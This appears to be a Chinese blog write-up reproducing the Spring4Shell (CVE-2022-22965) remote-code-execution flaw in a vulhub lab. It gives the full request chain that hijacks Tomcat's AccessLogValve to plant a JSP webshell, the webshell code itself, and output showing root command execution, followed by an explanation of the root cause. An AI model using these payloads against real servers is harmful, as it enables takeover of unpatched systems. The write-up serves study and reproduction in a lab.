Spring4Shell(CVE-2022-22965)复现

本文聚焦于 Java 生态中极具破坏性的 Spring4Shell (CVE-2022-22965) 远程代码执行漏洞。该漏洞源于 Spring Framework 在参数绑定机制上的缺陷,允许攻击者通过精心构造的 HTTP 请求,绕过现有的黑名单限制,利用 JDK 9 及以上版本引入的模块化特性(Class Loader),实现对服务器端受限属性的改写。 通过对漏洞利用链的拆解,本文演示了攻击者如何劫持 Tomcat 的日志配置参数(AccessLogValve),在 Web 目录下生成一个持久化的 Webshell 后门,从而获取服务器的完全控制权。

漏洞基础信息

漏洞编号 CVSS 评分 影响版本 漏洞类型
CVE-2022-22965 9.8 Spring Framework < 5.3.18、< 5.2.20,Spring Boot < 2.6.6、< 2.5.12 远程代码执行 (RCE)

漏洞复现

复现环境准备

使用vulhub快速搭建漏洞环境:

┌──(kali㉿kali)-[~]
└─$ apt install docker.io docker-compose    # 安装Docker和docker-compose

└─$ git clone https://github.com/vulhub/vulhub.git  # 将 Vulhub 项目克隆到本地

└─$ cd vulhub/spring/CVE-2022-22947 
└─$ docker-compose up -d    # 拉取镜像并启动容器

└─$ docker ps   # 确认容器启动状态
7fb0fecd0ed8   vulhub/spring-webmvc:5.3.17   "catalina.sh run"   4 minutes ago   Up 4 minutes   0.0.0.0:8080->8080/tcp, :::8080->8080/tcp   cve-2022-22965-spring-1

访问http://target-IP:8080/,出现以下页面:

CVE-2022-22965页面

尝试加入参数/?name=test&age=18,发现页面内容发生了变化:

CVE-2022-22965-参数-页面

目标探测

端口扫描与服务识别

┌──(kali㉿kali)-[~]
└─$ nmap -sS -Pn -T4 -sV -p- --script "default,vulners" target-IP

# 扫描结果
PORT     STATE SERVICE     VERSION
8080/tcp open  nagios-nsca Nagios NSCA
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Site doesn't have a title (text/html;charset=ISO-8859-1).
MAC Address: 00:0C:29:B3:23:74 (VMware)

Spring 应用返回的 HTML 响应无/<title/>标签,且存在特殊请求处理逻辑,导致 nmap 脚本误判为 Nagios NSCA+HTTP 代理组合。

无害化 Payload 状态码对比

发送一个完全正常的请求,记录响应码:

┌──(kali㉿kali)-[~]
└─$ curl -i http://target-IP:8080/
HTTP/1.1 200 
Set-Cookie: JSESSIONID=81FD917F820A801DEABA26295E09AB71; Path=/; HttpOnly
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en
Content-Length: 80

发送一个尝试访问 class.module.classLoader 的请求。因为这是一个复杂的对象路径,如果 Spring 允许访问但你没有提供正确的子属性,或者属性类型不匹配,服务器通常会抛出 400 Bad Request

┌──(kali㉿kali)-[~]
└─$ curl -ig http://target-IP:8080/?class.module.classLoader.URLs[0]=test
HTTP/1.1 400 
Content-Type: text/html;charset=utf-8
Content-Language: en
Content-Length: 2070

发送 class.module.classLoader.URLs[0]=test 时,Spring 尝试按照给出的路径去寻找并修改 ClassLoader 中的 URLs 属性。因为 URLs[0] 期望接收的是一个 java.net.URL 对象,而你传入的是字符串 "test"。Spring 在进行类型转换时失败,抛出了异常并返回了 400 状态码。

如果目标没有漏洞(即补丁已修复或 JDK 版本不对),Spring 会直接忽略这个参数,返回正常的 200 OK

攻击过程

执行攻击命令

向靶机发送 POST 请求,结果收到一个 HTTP 405 Method Not Allowed 错误。

┌──(root㉿kali)-[~]
└─$ curl -i -X POST -d "class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell" http://target-IP:8080/
HTTP/1.1 405 
Allow: GET
Content-Type: text/html;charset=utf-8
Content-Language: en
Content-Length: 750

看起来后端 Controller 方法仅允许 GET 请求。Spring 的参数绑定(PropertyBinder)只有在请求成功匹配到控制器方法时才会触发。因为方法不匹配,攻击请求在进入绑定阶段前就被拦截了。

由于 Spring 的属性绑定机制不区分请求方法,改用 GET 传参,这里使用 BurpSuite 发送请求:

GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc1%7Di%40%20page%20import%3D%22java.util.*%2Cjava.io.*%22%20%25%7Bc2%7Di%25%7Bc1%7Di%20if%20(request.getParameter(%22cmd%22)%20!%3D%20null)%20%7B%20Process%20p%20%3D%20Runtime.getRuntime().exec(request.getParameter(%22cmd%22))%3B%20DataInputStream%20dis%20%3D%20new%20DataInputStream(p.getInputStream())%3B%20String%20disLine%20%3D%20%22%22%3B%20while%20((disLine%20%3D%20dis.readLine())%20!%3D%20null)%20%7B%20out.println(disLine)%3B%20%7D%20%7D%20%25%7Bc2%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1

Host: target-IP:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: JSESSIONID=DF935D9D49A390FAA8AC20737BE0D672
Upgrade-Insecure-Requests: 1
Priority: u=0, i

在修改完配置后,必须通过带有特殊 Header 的请求去“填充”那些占位符,发送5-10次。因为tomcat 在写入日志时,看到配置文件里的 %{c1}i,就会去 Header 里找 c1 的值(即 <%)并写入文件。这样就绕过了 URL 编码对特殊字符的破坏。

GET / HTTP/1.1

Host: target-IP:8080
c1: <%
c2: %>
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: JSESSIONID=DF935D9D49A390FAA8AC20737BE0D672
Upgrade-Insecure-Requests: 1
Priority: u=0, i

访问新生成的 shell.jsp ,已经可以正常显示 id :

──(root㉿kali)-[~]
└─$ curl "http://target-IP:8080/shell.jsp?cmd=id"
-@ page import="java.util.*,java.io.*" -- if (request.getParameter("cmd") != null) { Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); DataInputStream dis = new DataInputStream(p.getInputStream()); String disLine = ""; while ((disLine = dis.readLine()) != null) { out.println(disLine); } } -
uid=0(root) gid=0(root) groups=0(root)

漏洞核心原理

Spring 的参数绑定

Spring MVC 为了方便开发,提供了一个核心功能:自动将 HTTP 请求中的参数(GET/POST)绑定到 Java 对象的属性上。当向接口发送 ?name=Alice&age=20 时,Spring 会通过反射调用后端 POJO 对象的 setName("Alice")setAge(20)。这种绑定是递归的。如果对象中包含其他对象,你可以通过点号(.)一直向下访问。

JDK 9+ 的反射链绕过

JDK 9 引入了 Module(模块)化概念,在 Class 对象中增加了一个 getModule() 方法。攻击者发现了一条全新的路径:

class (获取当前类) -> module (获取模块) -> classLoader (获取类加载器)

由于 Spring 之前的黑名单只盯着 class.classLoader,却没料到通过 module 也能绕过去。

篡改 Tomcat 日志阀 (AccessLogValve)

这个组件负责记录访问日志。攻击者通过请求参数动态修改了它的四个关键属性,将其变成了一个“代码生成器”:

  • directory:将日志存放路径改到 Web 根目录(如 webapps/ROOT)。
  • prefix / suffix:将文件名改为 .jsp 结尾。
  • pattern:这是最巧妙的地方。攻击者将日志的内容格式改为一段恶意 JSP 代码。

当攻击者发送完这个特殊的配置请求后,Tomcat 实际上变成了一个“只要有人访问,我就往 Web 目录写一个名为 shell.jsp 的文件”的机器。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇